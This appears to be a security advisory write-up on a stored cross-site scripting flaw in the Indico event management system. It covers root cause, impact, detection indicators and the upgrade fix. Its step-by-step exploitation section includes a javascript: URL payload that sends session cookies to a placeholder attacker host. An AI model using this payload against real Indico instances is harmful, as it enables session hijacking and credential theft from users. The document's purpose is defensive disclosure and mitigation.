CVE-2026-107396: 
Python vulnerability analysis and mitigation

CVE-2026-107396 is a stored Cross-Site Scripting (XSS) vulnerability in Indico, an open-source event management system developed by CERN. Authenticated users with event management, content creation, or speaker material upload permissions can store crafted javascript: URLs in custom URL fields; when another user clicks such a link, attacker-controlled JavaScript executes in the victim's browser within the Indico origin. All Indico versions prior to 3.3.13 are affected. The vulnerability was published on August 25, 2026, and assigned a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, Indico Advisory).

The root cause is an incomplete denylist used to validate URLs in link fields (CWE-692), which failed to block non-HTTP/HTTPS schemes such as javascript:. Affected fields include attachment link forms, event menu link forms, and multi-link fields across the application — all of which accepted arbitrary URL schemes without sufficient validation. An attacker with at least submitter or event management privileges crafts a javascript: URL and stores it in one of these fields; the payload executes in the victim's browser when the link is clicked, with no server-side interaction required beyond the initial storage. The fix (PR #7619, commit d4c8c71) added explicit URL validators requiring URLs to begin with http:// or https://, and added HTML sanitization via sanitize_html() to note content schemas (Indico PR #7619, Indico Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who clicks a malicious link, within the Indico origin. This can lead to session token theft, credential harvesting, unauthorized manipulation of event data in the victim's session, and other client-side attacks. Availability is not impacted, but both confidentiality and integrity are partially compromised, with scope change possible since the script executes in the context of the Indico origin and can access cookies and local storage (Github Advisory).

No public proof-of-concept exploit code is known, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.195% (9th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires an authenticated account with at least submitter or event management privileges, and additionally requires a victim to click the malicious link, limiting the practical attack surface.

1. Obtain access: Acquire an Indico account with at least speaker/submitter or event management privileges on a target Indico instance running a version prior to 3.3.13.
2. Identify injectable fields: Navigate to an event where you have permissions to manage content — such as attachment link upload forms, event menu link forms, or multi-link fields in event layouts.
3. Craft malicious URL: Prepare a javascript: URL payload, for example: javascript:fetch('https://attacker.example/steal?c='+document.cookie) or a similar script designed to exfiltrate session tokens.
4. Store the payload: Enter the crafted javascript: URL into a custom URL field (e.g., an attachment link or menu link) and save the form. The incomplete denylist does not block this scheme.
5. Deliver the link: Share or present the event page, attachment, or menu entry containing the malicious link to a target user (e.g., an event administrator or participant).
6. Trigger execution: When the victim clicks the link, the browser executes the attacker-controlled JavaScript in the Indico origin, enabling session hijacking, credential theft, or data manipulation (Indico Advisory, Indico PR #7619).

• Logs: Web server or application access logs showing requests to attacker-controlled external domains (e.g., fetch or XMLHttpRequest calls) originating from Indico pages, particularly shortly after a user interacts with an event link or attachment.
• Network: Outbound HTTP requests from user browsers to unexpected external hosts carrying URL parameters resembling session cookies or tokens (e.g., ?c=<cookie_value>).
• Application Data: Presence of javascript: scheme URLs stored in Indico attachment link fields, event menu link fields, or multi-link fields — detectable via direct database inspection or admin UI review of event content.
• Browser: Unexpected JavaScript execution errors or network requests logged in browser developer tools when navigating Indico event pages or clicking attachment/menu links.

Upgrade Indico to version 3.3.13 or later, which enforces strict URL validation (only http:// and https:// schemes are permitted) and adds HTML sanitization to note content (Indico Release v3.3.13). As an interim workaround, set CSP_ENABLED = True in indico.conf to enable Content Security Policy headers, which can block inline script execution from javascript: URLs — the Indico team recommends this setting regardless of patching status. Additionally, restrict event management and content creation permissions to trusted users only until the patch is applied (Github Advisory).